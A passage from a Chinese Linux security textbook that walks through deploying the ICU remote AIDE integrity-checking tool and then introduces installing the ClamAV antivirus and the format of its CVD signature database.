那么在服务器端的ICU.hosts文件中加入如下行就可以了。

nas:mm@xx.com:linux:i386:22:2

需要注意的是在这个配置文件中不要使用任何大写字母。

配置完成后检测一下是否配置正确，以确保可以运行，使用如下命令检测。

./ICU.pl -s -r nas

[icu@mail ICU]$ ./ICU.pl -s –r nas

Initializing sanity check.

Host nas found: mailto=mm@xx.com, OS=linux, architecture=i386, ssh port=22, ssh version=2.

Sanity check passed.

最后一行表示检测通过。

注意在文件/etc/hosts中添加如下信息。

192.168.3.134 nas

客户端是运行于Linux/i386的机器，需要将服务器端的一个二进制文件和一个配置文件打包发送到客户端。其中，二进制文件是 ICU/binaries/aide.bin-i386-linux ，配置文件是ICU/configs/aide.conf-i386-linux。

第二步：为客户端生成安装包

为客户端生成安装包通过命令ICU.pl -n –r 主机名

[icu@mail ICU]$ ./ICU.pl -n -r nas

Creating new tarball for nas: OS=linux, architecture=i386, ssh_version=2

Adding AIDE binary.

Adding AIDE configuration.

Adding OpenSSH DSA keys.

Adding client install script.

Saved tarball as /usr/local/ICU/databases/nas/nas.icu-install.tar.

Compressing the tarball (suffix will probably change)...done.

This file should now be untared and installed on the host nas.

使用这个命令把客户端需要的命令和文件打包到一个以客户机名称为名的 tar 包中，如本例中的nas.icu-install.tar文件。




9.5.2 客户端在远程主机上的安装


无论通过那种方法，如 scp、ftp，还是其他的方法，都可以将生成的客户端安装包传输到客户端，然后在安装。

1．查看包中所包含的文件

[root@nas ～]# tar -zxf nas.icu-install.tar.gz

[root@nas ～]# tree nas.icu-install

nas.icu-install

|-- README

|-- files

|　|-- aide.bin

|　|-- aide.conf

|　|-- dsakey_check.pub

|　|-- dsakey_get_bin.pub

|　|-- dsakey_get_conf.pub

|　|-- dsakey_get_db.pub

|　'-- dsakey_init_db.pub

'-- icu-install.sh

1 directory, 9 files

可见安装包含了aide.bin命令、配置文件aide.conf、五个公钥文件、一个icu-install.sh脚本安装文件，还有一个README文件。

2．客户端的安装过程

[root@nas nas.icu-install]# ./icu-install.sh　　//运行客户端安装脚本

Client installer for ICU.

This particular installation is only for linux on i386.

The tarball was created for the host nas.　　　//客户端的主机名nas

Client is configured to use SSH protocol version 1 - RSA keys will be added.

//添加RSA key

OpenSSH DSA keys found. If you also install them you will be able to

use SSH protocol version 2 if you're using OpenSSH-2.X or upgrading

to OpenSSH-2.X in the future.

Do you also want to install the OpenSSH DSA keys? (Y/n)

//OpenSSH DSA keys 是否升级

y　　　　　　　　　　　　　//键入y表示要升级

OpenSSH DSA keys will also be added but remember that your host is

currently configured to use SSH protocol version 1, so you must

contact the ICU administrator if you want to change that.

//由于对ssh1进行了升级，所以才有下面的询问

Last chance - do you want to continue the installation? (Y/n)

y　　　　　　　　　　//y 继续安装

Copying AIDE files to files to /var/adm/.icu/...

//建立新的工作目录，这个目录是在ICU.conf中设定的

Appending public RSA (SSH1) keys to /root/.ssh/authorized_keys...

Appending public OpenSSH DSA (SSH2) keys to /root/.ssh/authorized_keys2...

//将RSA 和OpenSSH DSA 添加到对应的文件

Your host is now configured as an ICU client and you should inform the

ICU administrator (mm@xx.com) that you're done with the installation.

The ICU administrator can now initialize your filesystem database and

then run checks on it from the ICU server. You might want to customize

/var/adm/.icu/aide.conf first. Make sure you have sshd listening on

this host and that incoming SSH traffic is allowed from the ICU server

(192.168.3.139).　　　　　　//检查客户端和服务器端是否能通过ssh连接

You may remove the directory /root/nas.icu-install

and the tarball now. You should of course contact the ICU administrator

if there were any error messages during the installation.

You should also check that you really accept the new entries that have

been added to the files /root/.ssh/authorized_keys and/or

/root/.ssh/authorized_keys2!

3．根据客户端的具体情况编辑或是修改原配置文件

下面是安装后的目录。

[root@nas /]# tree /var/adm/.icu/

/var/adm/.icu/

|-- aide.bin

|-- aide.conf

|-- aide.conf.dist

'-- aide.db

0 directories, 4 files

其中aide.conf就是配置文件。




9.5.3 在服务器端对客户端的操作


在服务器端对客户端的操作包括初始化客户端数据库和完整性检测操作。

1．初始化客户端数据库

下一步就是客户端数据库初始化（即建立一个新的数据库），这一步需要在 ICU 服务器上运行如下命令./ICU.pl -i -r nas。

示例如下。

[icu@mail ICU]$ ./ICU.pl -i -r nas

Verbose mode activated.

Initializing sanity check.

Sanity check passed.

SSH protocol version 1 will be tried first.

Database initialization started.

Checking port 22...open.

Executing init command: '/usr/bin/ssh -l root -p 22 -o Protocol=1,2 -o IdentityFile=/usr/local/ICU/keys/key_init_dbdsakey_init_db nas "/var/adm/.icu/aide.bin -i -c /var/adm/.icu/aide.conf -V5 -A gzip_dbout=no -B gzip_dbout=no -B database_out=file: /var/adm/.icu/aide.db.new -B database=file:/var/adm/.icu/aide.dbadm/.icu/aide.db" 2>&1'

This may take a while.

aide.conf　　　　　　　100%　12　0.0KB/s　00:00

aide.db　　　　　　　100% 1452　1.4KB/s　00:00

All files successfully received.

Looking for database creation timestamp...found - database successfully initialized.

Saving database as /usr/local/ICU/databases/nas/aide.db.current.

Saving copy as /usr/local/ICU/databases/nas/archive/aide.db-first-20100305-14:30:56.

Compressing database...done.

Saving configuration as /usr/local/ICU/databases/nas/aide.conf.current.

Saving copy as /usr/local/ICU/databases/nas/archive/aide.conf-first-20100305-14:30:56.

Sending e-mail to mm@xx.com with subject: [ICU - nas] Welcome to ICU!

Database initialization ended.

注意，从客户端传来的文件均放入/usr/local/ICU/databases/客户端主机或 IP 的目录下，其中aide.db.current和aide.conf.current表示当前正在使用的文件，而子目录archive/下是被归档备案以便查找的文件。

如果ICU服务器端不认可客户端nas，可能会询问是否加入known_hosts/known_hosts2，敲入“Yes”继续。如果提示输入密码，那就意味着远程客户端不接受ICU服务器的私钥，那么就要查一下客户端的公钥是否导入（这是由客户端安装包内的安装脚本完成的）。

在使用ICU的过程中如果发现任何错误都可以使用ICU的调试模式来调试，使用-d 参数即可。调试模式会给出这个过程中大量的信息，不是发送电子邮件，而是直接显示在标准错误输出设备/标准输出设备，说白了就是屏幕。另外在运行客户端检测模式（使用-i参数）时，不用指定-v参数，因为客户端在进行初始化时就是在详细输出模式下运行。

另外如果在配置文件ICU.conf指定了send_welcome_mail=1，但又不想发电子邮件，那么在命令行加“-N”参数就可以了。

2．在客户端运行完整性检测

在客户端上完成数据库初始化后就可以执行完整性检测了，检测的参数是“-c”。可以运行命令./ICU.pl -c –r nas 进行检测。

[icu@mail ICU]$ ./ICU.pl -c -r nas -v

Verbose mode activated.

Initializing sanity check.

Sanity check passed.

SSH protocol version 1 will be tried first.

Checking port 22...open.

Getting files from nas: aide.bin aide.conf aide.db.

All files successfully received.

Verifying MD5 fingerprint of the AIDE database...match.

Verifying MD5 fingerprint of the AIDE configuration...match.

Verifying MD5 fingerprint of the AIDE binary...match.

Executing AIDE check command on the remote host. This may take a while.

Filesystem has not been modified but AIDE gave some other output.

Getting files from nas: aide.db.

All files successfully received.

Verifying that the new database creation timestamp is more recent...passed.

Updating /usr/local/ICU/databases/nas/aide.db.current.

Saving copy as /usr/local/ICU/databases/nas/archive/aide.db-20100305-14:46:55.

Sending e-mail to mm@xx.com with subject: [ICU - nas] Warning: The AIDE check command gave output.

Check ended.

在进行检测时往往要加上“-v”这个选项，让ICU.pl命令将详细的结果输出以便于检测任何错误。同样，可以使用“-d”进入调试模式显示更为详细的模式。




9.5.4 服务器端的计划工作


客户端完整性检测应该是一个经常性的操作，因此可以通过cron来完成这个工作。记住要以用户icu 或者是能够执行ICU 的用户，通过命令“crontab -e”添加如下的条目。

30 4 * * * cd /usr/local/ICU ./ICU.pl -c -r nas

这个条目的意思是每天夜里04:30对客户端nas进行检测。

只有不是运行在详细模式（verbose mode）下的 ICU 输出的致命错误信息（如体检（sanity check）失败）才会发送给 ICU 管理员，因此在用“crontab -e”添加检测条目的时候一定不要加“-v”选项。




9.5.5 关于服务器端及客户端的数据库文件


服务器端的客户数据文件都存储在“ICU/databases/<hostname>”目录下，而客户端的数据文件存储在“/var/adm/.icu”目录下（当然也不一定必须是这个目录，这是由配置文件 ICU.conf 中变量host_basedir的值决定）。

1．形如“.current”的文件

在 ICU 服务器端，每一个 ICU 客户端都会在“ICU/databases/”目录下找到以它自己的名字或者是IP地址命名的目录，例如ICU/databases/nas，那么在这个目录中会找到当前的配置文件和数据库文件，它们的名字是 aide.conf.current 和 aide.db.current。这些文件绝对不要手工去修改，因为它们决定着远程主机上文件的完整性。在检测前，它们要和客户端的aide.conf和aide.db进行比较，如果发现远程主机文件完整性发生改变，那么文件aide.db.current就会被新的数据库文件取代。

2．形如“aide-db-<date> .gz”的文件

在服务器端生成aide.db.current的同时会在“ICU/databases/<hostname>/archive/”目录下生成一个最新数据库的拷贝，拷贝的文件命名形式为aide-db-<date> .gz。其中<date>，就是从ICU 服务器端当前系统中取得的时间，因此ICU客户端和ICU服务器端的时间也要一致。扩展名.gz，这种压缩包可以通过gunzip命令解压。另外需要注意的是，每次完整性检测客户端都会生成新的数据库文件，它和ICU服务器端存储在的“ICU/databases/”目录下相应客户端主机名目录下的文件aide.db.current是完全一样的，只是文件名不同而已。

3．形如“-MD5-mismatch”的文件

下面是一个在ICU服务器端将一个客户端的数据库文件修改了后再进行完整性检测的例子。在服务器端将“/sdb/side 3005 40755 0 0 4096 MTI2Nzk1MzM2NA== MTI2Nzk1MzM2NA== 32769 2 0”删除了，如下所示。

[icu@mail nas]# vi aide.db.current

/sdb/side/mm　7101　100644　0　0　0　MTI2Nzk1MzM2NA==　MTI2Nzk1MzM2NA==　32770　11B2M2Y8AsgTpgAmY7PhCfg==

@@begin_db

# This file was generated by Aide, version 0.9

# Time of generation was 2010-03-07 17:36:58

@@db_spec name attr perm uid gid size mtime ctime inode lcount md5

/sdb/side 3005 40755 0 0 4096 MTI2Nzk1MzM2NA== MTI2Nzk1MzM2NA== 32769 2 0

//将此行删除了

@@end_db

然后在服务器端进行检测。

[icu@mail ICU]$ ./ICU.pl -c -r nas -v

Verbose mode activated.

Initializing sanity check.

Sanity check passed.

SSH protocol version 1 will be tried first.

Checking port 22...open.

Getting files from nas: aide.bin aide.conf aide.db.

All files successfully received.

Verifying MD5 fingerprint of the AIDE database...MISMATCH.

//发现数据库文件MD5指纹不匹配

Finding differences between databases, be patient...done.

Updating /usr/local/ICU/databases/nas/aide.db.current.

Saving copy as /usr/local/ICU/databases/nas/archive/aide.db-MD5-mismatch-20100307-17:38:36.

//注意！

Verifying MD5 fingerprint of the AIDE configuration...match.

Verifying MD5 fingerprint of the AIDE binary...match.

Executing AIDE check command on the remote host. This may take a while.

Filesystem has not been modified but AIDE gave some other output.

Getting files from nas: aide.db.

All files successfully received.

Verifying that the new database creation timestamp is more recent...passed.

Updating /usr/local/ICU/databases/nas/aide.db.current.

Saving copy as /usr/local/ICU/databases/nas/archive/aide.db-20100307-17:38:37.

Sending e-mail to mm@xx.com,icu-admin@example.com with subject: [ICU - nas] Warning:The AIDE database file has changed. Warning: The AIDE check command gave output.

Check ended.

可以看出，发现了数据库文件MD5指纹不匹配，而且生成了aide.db-MD5-mismatch-20100307-17:38:36.gz文件。如果在客户端将数据库中的某一部分删除了，在ICU服务器端进行检测检测时也一样会出现上面的提示。

读到这里可能读者会问，在完整性检测后，客户端无论是合法的还是非法的改变，数据库都要被更新，而且ICU服务器上和客户端的数据库还是同时更新，那么岂不是AIDE做了无用功？所以需要注意的是存放在“ICU/databases/<hostname>/archive/”目录中的文件！前面讲过总有一个当前“aide.db.current”被拷贝为“aide-db-<date> .gz”形式，然后存放在相应主机名目录“ICU/databases/<hostname>/archive/”下，这才是永久的备案。但是，如果是认为在ICU服务器端或者是客户端修改了数据库文件，那么都会出现带有“-MD5-mismatch-”形式的文件，例如“aide.db-MD5-mismatch-20100307-17:38:36.gz”。所以ICU服务端要经常对这个“ICU/databases/”目录进行备份，而且最好是存储到只读介质上。

同样，配置文件也会发生不匹配的情况。ICU对配置文件不匹配的处理方法和对数据库文件的处理方法是一样的。示例如下。

[icu@mail archive]$ pwd

/usr/local/ICU/databases/nas/archive

[icu@mail archive]$ ll aide.conf-MD5-mismatch-20100307-19:18:39

-rw-rw-r-- 1 icu icu 12 03-07 19:18 aide.conf-MD5-mismatch-20100307-19:18:39

4．形如“-first-<date>”的文件

另外还有一点需要注意的是，在初始化客户端数据库时生成的文件格式如下。

ICU/databases/<hostname>/archive/aide.db-first-<date>

ICU/databases/<hostname>/archive/aide.conf-first-<date>

在这里，用 first 表示初始化时所用的配置文件以及用该文件产生的初始化数据库文件，而<date>则是在当时取得的ICU服务器当地的时间。




9.5.6 关于服务器端的日志文件


所有的日志文件都存放在“ICU/logs/”目录下，文件ICU.log记录了ICU进程的一般信息。每一个客户端在目录“ICU/logs/”下都以“<hostname>.log”的形式出现，其中“<hostname>”可能是客户端的主机名也可能是IP地址（那要看在ICU.host中怎么填写了）,该日志文件记录了比较详细的信息。另外，如果在ICU.conf文件中设置了“use_syslog=1”，那么发往ICU.log的日志也会发往syslog。




9.5.7 关于邮件的内容


无论是修改了配置文件还是数据库文件，无论是在客户端还是在服务器端，都会收到邮件。这里有如下规律。

在服务器端，相应客户端下的“aide.conf.current”文件中添加对象，邮件中会说客户端在“/var/adm/.icu/aide.conf”删除了这个对象；

在服务器端，相应客户端下的“aide.conf.current”文件中删除对象，邮件中会说客户端在“/var/adm/.icu/aide.conf”添加了这个对象；

在客户端下的“aide.conf”文件中添加对象，邮件中会说客户端在“/var/adm/.icu/aide.conf”添加了这个对象；

在客户端下的“aide.conf.current”文件中删除对象，邮件中会说客户端在“/var/adm/.icu/aide.conf”删除了这个对象；

对于修改数据库文件其收到邮件的规律也一样。

[image: figure_0139_0060]


提示：

特别需要注意如下两点。

一、修改配置文件是在客户端进行的而不是ICU服务器端；

二、正确的做法不可能直接修改数据库文件，因此一旦收到这类的邮件则说明数据库文件受到破坏了。如果是客户端的数据库文件受到破坏，那没什么，因为在服务器端有备份，本来放在客户端的数据库文件和配置文件也是不安全的，没有把它们作为权威。如果是服务器端的数据库文件遭受修改那就麻烦了！本书在前面可讲过，一定要将“ICU/databases”下的文件存储在只读介质上！

示例如下。

如果在客户端的aide.conf中删除某一个监控对象，收到如图9.1所示邮件。

[image: figure_0139_0061]
图9.1 邮件内容



示例如下。

如果是从服务器端的aide.conf.current中删除了同样的对象，收到的邮件内容如图9.2所示。

ICU会认为是客户端在配置文件aide.conf 中添加了条目“/sdb/side2 R”，所以使用时要注意。其实也不难理解，因为在开始比较前首先要把客户端的数据库文件和配置文件以及aide的二进制文件都要传输到服务器端进行比较，因为在服务器端把配置文件中的内容删除了，而客户端的没有删除，很自然地ICU就以为是客户端添加对象了。

[image: figure_0140_0062]
图9.2 邮件内容



对于数据库文件在ICU服务器端的修改和在客户端的修改，收到的邮件也是和修改配置文件的道理一样。




9.5.8 使用后的安装目录


现在再来看一看ICU服务器端的安装目录。

[icu@mail local]$ tree ICU/

ICU/

|-- ChangeLog

|-- ……　　　　　　　　　　　　　//省略

|-- binaries

|　'-- aide.bin-i386-linux

|-- client

|　|-- ICU.installscript

|　|-- README.installscript

|　'-- welcome.mailbody

|-- configs

|　|-- aide.conf-i386-freebsd

|　|-- ……　　　　//省略

|　'-- aide.conf-sparc-solaris8

|-- databases

|　'-- nas　　　　　　　　　　　　//这是一个机器名叫nas的客户端

|　　|-- aide.conf.current　　　　　　　//当前正在使用的配置文件

|　　|-- aide.db.current　　　　　　　　//当前正在使用的数据库文件

|　　|-- archive　　　　　　　　　　//归档后的文件

|　　|　|-- aide.conf-first-20100305-14:23:47　　　//首次使用的配置文件

|　　|　|--aide.conf-MD5-mismatch-20100307-18:12:25　//MD5检测出问题的配置文件

|　　|　|-- aide.db-20100305-14:43:19.gz

|　　|　|-- aide.db-20100305-14:46:55.gz

|　　|　|-- aide.db-first-20100305-14:23:47.gz　　//首次生成的数据库文件

|　　|　'-- -- aide.db-MD5-mismatch-20100307-17:38:36 //MD5检测出问题的数据库文件

|　　'-- nas.icu-install.tar.gz　　　　　　//客户端nas的安装包

|-- keys　　　　　　　　　//公钥和私钥，5对是ssh1的，5对是ssh2的

|　|-- dsakey_check

|　|-- ……　　　　　　　　　//dsakey为ssh2的密钥对

|　|-- dsakey_init_db.pub

|　|-- key_check

|　|-- ……　　　　　　　　　//key为ssh1的密钥对

|　'-- key_init_db.pub

|-- logs　　　　　　　　　//ICU的日志文件

|　|-- ICU.log

|　'-- nas.log　　　　　　　//客户端的日志

'-- tmp　　　　　　　　　//临时目录，在出错时可以看到该目录内是有文件的




9.5.9 使用中的注意事项


① 在初始化客户端数据库前确定客户端主机没有受到危害，最好的办法就是让客户端主机在生成数据库之前不要接入Internet。

② 编辑完ICU.conf后，要运行“./ICU.pl –s”命令做一下体检（sanity check）,这是确定一下重要文件的存在及其权限问题等等。还要运行一下“./ICU.pl -s –r <hostname>”命令，这条命令会到文件ICU.hosts 读取相应的条目，以确定它的正确性。如果体检（sanity check）失败，则说明ICU服务器配置有错误。另外每次对客户端进行完整性检测或者是初始化客户端时都要进行一次体检（sanity check），一旦体检（sanity check）失败，会有相应的信息显示，并且命令进程失败而退出。

③ 在文件ICU.hosts中的语法如下。hostname:e-mail:OS:architecture:port:sshversion

但是“OS/architecture”无关紧要。

只要你在如下三处使用同样的名字就可以。

在“ICU.hosts”中；

在“configs/aide.conf-系统-结构”中；

在“binaries/aide.bin-系统-结构”中。

例如在文件“ICU.hosts”中有如下条目。

Nas:hpp@126.com:arch:bzd:22:2

那么需要有如下相应的二进制文件和配置文件。

configs/aide.conf-arch-bzd

binaries/aide.bin-arch-bzd

④ 客户端数据库初始化不发送邮件，除非是在配置文件ICU.conf 中设置welcome_mail=1。所有的SSH/AIDE/ICU信息都会被标准输出，因此可以看到全部信息。

⑤ 当通过cron检测多个主机时，尽量把时间点分开，不要同时检查上百台主机，这样对ICU服务器的磁盘、内存和CPU都不好，另外还有网络传输的问题。

⑥ 当运行在详细模式（verbose mode）下时（如使用了-v），命令scp 的输出（如有关密钥改变的警告）信息会被显示在标准的输出设备上，而不发送电子邮件。如果ICU客户端改变它的SSH 密钥（假定认证改变，利用一个新的密钥对替换了旧的密钥对），那么不得不运行在详细模式（verbose mode）下（这一点很重要），这样会看到SSH询问是否要添加一个新的主机密钥。这时回答“yes”就可以替换了。




9.6 实验


1．概述

本部分以实验的形式讲述ICU软件的安装与部署，以及对客户端的操作。

2．安装环境

[root@mail local]# uname -a

Linux mail 2.6.18-53.el5 #1 SMP Wed Oct 10 16:34:02 EDT 2007 i686 i686 i386 GNU/Linux

3．服务器端安装

（1）下载ICU软件

下载地址（可以使用wget工具）如下。

http://www.sourcefiles.org/Networking/Security/Intrusion_Detection/ICU-0.5.tar.gz

（2）解压缩安装包

[root@mail ～]# tar -zxvf ICU-0.5.tar.gz

（3）安装

[root@mail ～]# mv ICU-0.5 /usr/local/ICU

安装完成后的目录结构如下。

[root@mail local]# tree ICU

ICU

|-- ChangeLog

|-- FAQ

|-- GCP.pm　　　　　　//一个perl模块，由ICU.pl调用

|-- ICU.conf　　　　　　//ICU配置文件

|-- ICU.hosts　　　　　　//ICU客户端登记（加入）

|-- ICU.pl　　　　　　//ICU主命令

|-- INSTALL

|-- README

|-- UPGRADING

|-- USAGE

|-- binaries

|-- client

|　|-- ICU.installscript　　　//客户端安装脚本

| |-- README.installscript

| '-- welcome.mailbody

|-- configs　　　　　　//客户端的aide配置示例文件

| |-- aide.conf-i386-freebsd

| |-- aide.conf-i386-linux

| |-- aide.conf-i386-netbsd

| |-- aide.conf-i386-openbsd

| |-- aide.conf-sparc-linux

| |-- aide.conf-sparc-solaris26

| |-- aide.conf-sparc-solaris7

| '-- aide.conf-sparc-solaris8

|-- databases

|-- keys

|-- logs

'-- tmp

（4）修改配置文件ICU.conf

参考“配置文件”章节，根据实际情况修改配置选项。

（5）拷贝aide二进制文件到指定的形式

拷贝aide二进制文件如下

[icu@mail ICU]$ cp /usr/local/aide/bin/aide binaries/aide.bin-i386-linux

（6）生成密钥

[icu@mail ICU]$ ./ICU.pl -G all

（7）运行./ICU.pl命令

运行./ICU.pl –s 进行体检。

[icu@mail ICU]$ ./ICU.pl -s

Initializing sanity check.

Sanity check passed.

（8）添加客户端

在ICU.hosts添加如下条目。

www:mm@xx.com:linux:i386:22:1

检测设置是否正确。

[icu@mail ICU]$ ./ICU.pl -s -r www

Initializing sanity check.

Host www found: mailto=mm@xx.com, OS=linux, architecture=i386, ssh port=22, ssh version=1.

Sanity check passed.

（9）生成客户端安装包

[icu@mail ICU]$./ICU.pl -n –r www

将生成的安装包www.icu-install.tar.gz复制到客户端。

（10）特别注意

虽然这不是安装的必须步骤，但是没有这一步，ICU是不会工作的！

由于ICU的作者在设计时只有AIDE 0.7 版，而现在的AIDE 版本已经到aide-0.15.1 了，所以在AIDE生成数据库文件时格式上会有所改变，为了适应这种改变就要修改ICU.pl文件（可能还会有其他的办法吧）。

用vi命令打开icu.pl文件，然后定位在第1999行。

open(DB,$dbfile) or icu_die("get_timestamp: could not open $dbfile: $!");

$timestamp_line = <DB>;

$timestamp_line = <DB>;　　　　# Timestamp is on the second line in the database.

close(DB);

注意：

“open(DB,$dbfile) or icu_die("get_timestamp: could not open $dbfile:$!");”是第1999行。在此行下有两行“$timestamp_line =<DB>;”，需要再加一行“$timestamp_line =<DB>;”。

修改成下面的结果。

open(DB,$dbfile) or icu_die("get_timestamp: could not open $dbfile: $!");

$timestamp_line = <DB>;

$timestamp_line = <DB>;

$timestamp_line = <DB>;　# Timestamp is on the second line in the database.

close(DB);

如果不修改会出错而无法工作，下面是个出错的例子。

[icu@mail ICU]$ ./ICU.pl -i -r nas

Verbose mode activated.

Initializing sanity check.

Sanity check passed.

SSH protocol version 1 will be tried first.

Database initialization started.

Checking port 22...open.

Executing init command: '/usr/bin/ssh -l root -p 22 -o Protocol=1,2 -o IdentityFile=/usr/local/ICU/keys/key_init_db -o IdentityFile=/usr/local/ICU/keys/dsakey_init_db nas "/var/adm/.icu/aide.bin -i -c /var/adm/.icu/aide.conf -V5 -A gzip_dbout=no -B gzip_dbout=no -B database_out=file:/var/adm/.icu/aide.db.new -B database=file:/var/adm/.icu/aide.db -B report_url=stdout; mv /var/adm/.icu/aide.db.new /var/adm/.icu/aide.db" 2>&1'

This may take a while.

AIDE, version 0.13.1

### AIDE database at /var/adm/.icu/aide.db.new initialized.

aide.conf　　　100%　12　0.0KB/s　00:00

aide.db　　　　100%　464　0.5KB/s　00:00

All files successfully received.

Looking for database creation timestamp...NOT found.

Could not find a creation timestamp in the database /usr/local/ICU/tmp/nas/aide.db.

Something must have gone really wrong on the remote host.

Please check out why /usr/local/ICU/tmp/nas/aide.db doesn't contain a creation timestamp.

The database was NOT initialized.

Exiting...

4．客户端安装

（1）运行客户端安装脚本

[root@nas nas.icu-install]# ./icu-install.sh

（2）编辑AIDE的配置文件

根据ICU服务器端的设置（host_basedir =/var/adm/.icu）找到AIDE 的配置文件，根据客户端服务器特点的需要编写配置文件如下。

[root@nas .icu]# vi aide.conf

/sdb/side R

/sdb/side2 R

5．ICU服务器端对客户端的操作

（1）对客户端数据库初始化

[icu@mail ICU]$ ./ICU.pl -i -r www

（2）为客户端做检测

30 4 * * * cd /usr/local/ICU ./ICU.pl -c –r www
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第10章 Clam AntiVirus


在这一章中，我们主要对抗病毒软件ClamAntiVirus进行介绍，掌握它的安装并认识 CVD（CVD 是 ClamAV Virus Database 的缩写，就是ClamAV病毒数据库）的格式，重点在签名部分，掌握了签名就可以自定义数据库。




10.1 Clam AntiVirus概论


Clam AntiVirus 是一个运行在 UNIX 系统下的开源（GPL）查毒工具包，设计者的主要目标是在邮件网关上对进出的邮件进行病毒扫描。然而通过第三方的软件支持的功能就远不只这些了。它提供了一组工具，包括一个灵活的、可伸缩的、多线程的守护进程，一个命令行扫描工具以及一个高级自动升级病毒数据库工具。Clam AntiVirus 的核心是一个基于共享库的反病毒引擎。需要注意的是 clamav 是一个免费的查毒软件，但只能查毒，不能杀毒。

ClamAntiVirus简写为ClamAV，它的官方网站是http://www.clamav.net。

1．功能

 GNU通用公共授权第二版；

 遵循POSIX；

 快速扫描；

 支持按访问扫描（on-access scanning），这种方式只适用于Linux和FreeBSD；

 能够检测多于630000 种病毒、蠕虫和特洛伊，包括Microsoft Office 的宏病毒，手机恶意软件,以及其他的威胁；

 能够扫描归档和压缩文件（还能够抵御档案炸弹）

内置支持对以下种类的文件扫描。

Zip（包括SFX）、RAR（包括SFX）、ARJ（包括SFX）、Tar、Gzip、Bzip2、MS OLE2、MS Cabinet Files（包括SFX）、MS CHM（编译的HTML）、MS SZDD压缩格式、BinHex、SIS（SymbianOS包）和AutoIt；

 支持可执行程序文件压缩器AsPack、UPX、FSG、Petite、PeSpin、NsPack、wwpack32、MEW、Upack、Y0da Cryptor；

 支持所有邮件格式；

 支持其他的文件格式，如HTML、RTF、PDF、用CryptFF 和ScrEnc加密的文件、uuencode和TNEF（winmail.dat）；

 支持脚本升级数据库、数字签名（digital signatures）和DNS 数据库的版本查询。

2．支持平台

许多流行的UNIX 系统都支持，经检测ClamAntiVirus 0.9x 支持如下平台。

 GNU/Linux

 Solaris

 FreeBSD

 OpenBSD 2

 Mac OS X

但是有些系统无法让ClamAV的功能全部发挥出来。




10.2 编译安装clamAV


1．下载安装包

官方网站http://www.clamav.net/。

2．编译安装

ClamAV软件需要一些支持软件，因此在安装ClamAV之前要确定依赖软件。

（1）安装要求

以下工具包在安装ClamAV软件前必须安装。

 zlib 和zlib-devel

 gcc 编译器

下面的软件包是可选的，但是强烈推荐安装。

 bzip2和bzip2-devel库

 check 单元测试框架（make check）

（2）添加新的系统用户和组

如果是第一次在系统中安装ClamAV，那么要添加一个新的用户和用户组。

[root@mail]# groupadd clamav

[root@mail]#useradd -g clamav -s /bin/false -c "Clam AntiVirus" clamav

添加了clamav用户和用户组后,就可以安装ClamAV了。

（3）基本安装

本节讲解一下ClamAV的基本安装，先让ClamAV运行起来，再做其他的配置。下载并安装命令如下。

[root@mail]# wget http://cdnetworks-kr-1.dl.sourceforge.net/ \

> project/clamav/clamav/0.96/clamav-0.96.tar.gz

[root@mail clamav-0.96]#./configure --prefix=/usr/local/clamav9.6

[root@mail]#cd clamav-0.96

[root@mail clamav-0.96]#make

[root@mail clamav-0.96]#make install

测试安装步骤如下。

编辑/usr/local/clamav9.6/etc/freshclam.conf文件如下。

# Comment or remove the line below.

#Example

把“Example”注释掉或者删除，再执行病毒库更新。

[root@mail bin]# /usr/local/clamav9.6/bin/freshclam

……

main.cvd is up to date (version: 52, sigs: 704727, f-level: 44, builder: sven)

Downloading daily.cvd [100%]

daily.cvd updated (version: 10774, sigs: 52687, f-level: 51, builder: arnaud)

Downloading bytecode.cvd [100%]

bytecode.cvd updated (version: 8, sigs: 1, f-level: 51, builder: nervous)

Database updated (757415 signatures) from database.clamav.net (IP: 193.1.193.64)

[image: figure_0149_0063]


警告：

不要给Clam AntiVirus的二进制文件设置SUID或SGID位。

（4）运行单元测试（unit tests）

ClamAV包括了单元测试，允许对编译的二进制文件在安装之前进行测试。

如果系统中没有安装check包，那么可以从http://check.sourceforge.net/下载，然后编译并安装。为了配合 ClamAV 的 configure 脚本检测，推荐使用 pkg-config 帮助工具，下载地址为http://pkg-config.freedesktop.org。

配置编译命令如下。

[root@www check-0.9.8]#./configure --prefix=/usr/local/check

[root@www check-0.9.8]# make

开始检测。

执行完make check 命令后应该有如下类似信息。

[root@www check-0.9.8]# make check

……

==================

All 5 tests passed

==================

……

安装命令如下。

[root@www check-0.9.8]# make install

（5）报告单元测试（unit tests）失败的错误

如果运行make check 时提示检测失败，可以向http://bugs.clamav.net 或http://clamav.net/bugs报告，报告的信息包括如下内容。

 make check的提示信息

 uname –mrsp的输出信息

 config.log 文件

 目录unit_tests/中的文件，包括test.log、clamscan.log、clamdscan.log 和/tmp/clamd-test.log（这个文件不是必须的）

 在哪里及怎么样安装的check 包

 pkg-config check --cflags –libs 的输出信息

 可选的，如果valgrind 有效，将下面的输出一块儿上报

$ make check

$ CK_FORK=no ./libtool --mode=execute valgrind \

unit_tests/check-clamav




10.3 CVD格式


了解CVD格式是十分必要的，CVD 就是ClamAV 病毒数据库（ClamAV Virus Database）的缩写。




10.3.1 分析CVD格式


CVD是ClamAV 病毒数据库（ClamAV Virus Database）的缩写，它包含了一个或多个数据库的经过数字签名的tar 包（digitally signed tarball），文件头是一个512字节的字符串，包括9 个部分，每个部分之间用“：”隔开。

格式如下。

ClamAV-VDB:build time:version:number of signatures:functionality level required:MD5 checksum:digital signature:builder name:build time (sec)

各部分的含义见表10.1。


表10.1 CVD头文件组成

[image: figure_0150_0064]


查看CVD文件的信息。

ClamAV提供了sigtool工具来查看CVD的信息，示例如下。

[root@www bin]# ./sigtool -i /usr/local/clamav/share/clamav/daily.cvd

File: /usr/local/clamav/share/clamav/daily.cvd

Build time: 21 Mar 2010 22:14 -0400

Version: 10604

Signatures: 30173

Functionality level: 44

Builder: guitar

MD5: 0420d1345d0bd10bfa31322c19b932e4

Digital　signature:　CbqJsLxcD8QjZXsLultQXBpW/i3Ws2G7tBY3UaE9SNQ5IVRbXzQYmwXgIV/zfoEbE6wqrPztcB2QT6Gm0DEyYWBccXnIoc3hbq0OgCjAz2WupwFf/h2TQgeslrdSqZHjBpMh74qmuC8LL0FEzdSZfKjztwuarab3l8CDAICoxuh

Verification OK.

查看CVD文件包内所包含的文件。

通过sigtool工具的--unpack解压CVD文件，命令如下。

[root@www clamav]# /usr/local/clamav/bin/sigtool --unpack daily.cvd

[root@www clamav]# ls

COPYING　daily.fp　daily.hdb　daily.ign　daily.info　daily.mdb　daily.ndb daily.pdb　daily.zmd　daily.cfg　daily.db　daily.ftm　daily.hdu　daily.ign2　daily.ldb daily.mdu　daily.ndu　daily.wdb

可见包含了18个文件。

